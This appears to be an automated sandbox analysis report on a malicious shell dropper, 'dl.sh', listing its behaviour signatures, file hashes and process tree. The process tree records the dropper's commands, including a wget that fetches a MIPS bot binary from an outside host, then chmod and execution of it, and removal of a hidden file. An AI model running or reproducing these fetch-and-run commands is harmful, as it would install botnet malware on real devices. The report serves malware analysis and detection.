Overview

overview

7

Static

static

1

dl.sh

ubuntu-18.04-amd64

7

dl.sh

debian-9-armhf

dl.sh

debian-9-mips

7

dl.sh

debian-9-mipsel

7

Analysis

  • max time kernel
    2s
  • max time network
    4s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20260513-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    27/10/2026, 12:08

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    dl.sh
  • Size 1000B
  • Sample261027-pbb8ladd84
  • SHA256 78b1794c29c7c5e91ff8b9e2d8f13ffc658ada5489f7cd528e8c77ee1200af6a
  • MD5 SHA1 SHA512 TLSH
Score
7/10
defense_evasiondiscoveryupx

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 2 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 2 IoCs
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Reads runtime system information 1 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 1 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery

Processes

  • /tmp/dl.sh
    /tmp/dl.sh
    1⤵
    • Executes dropped EXE
    PID:702
    • /bin/uname
      uname -m
      2⤵
        PID:704
      • /bin/chmod
        chmod +x .xt
        2⤵
        • File and Directory Permissions Modification
        PID:708
      • /var/tmp/.xt
        ./.xt
        2⤵
          PID:710
        • /bin/rm
          rm -f .xt
          2⤵
            PID:714
          • /bin/rm
            rm -f w
            2⤵
              PID:716
            • /usr/bin/wget
              wget -qO w http://bot.3.9.f.e.a.2.8.f.0.7.4.0.1.0.0.2.ip6.arpa/wife.mips
              2⤵
              • System Network Configuration Discovery
              PID:718
            • /bin/chmod
              chmod +x w
              2⤵
              • File and Directory Permissions Modification
              PID:733
            • /var/tmp/w
              ./w
              2⤵
              • Reads runtime system information
              PID:734

          Network

                MITRE ATT&CK Enterprise v16

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                .xt
                • Path /var/tmp/.xt
                • Size 10B
                • SHA256 a8076d3d28d21e02012b20eaf7dbf75409a6277134439025f282e368e3305abf
                • MD5 SHA1 SHA512
                Submit Download

                .xt
                • Path /var/tmp/.xt
                • Size 17B
                • SHA256 306c6ca7407560340797866e077e053627ad409277d1b9da58106fce4cf717cb
                • MD5 SHA1 SHA512
                Submit Download

                w
                • Path /var/tmp/w
                • Size 82KB
                • SHA256 bf608842ce97f22097acba6405cccc095b84cfe65854e21ae65764aea545c8ae
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download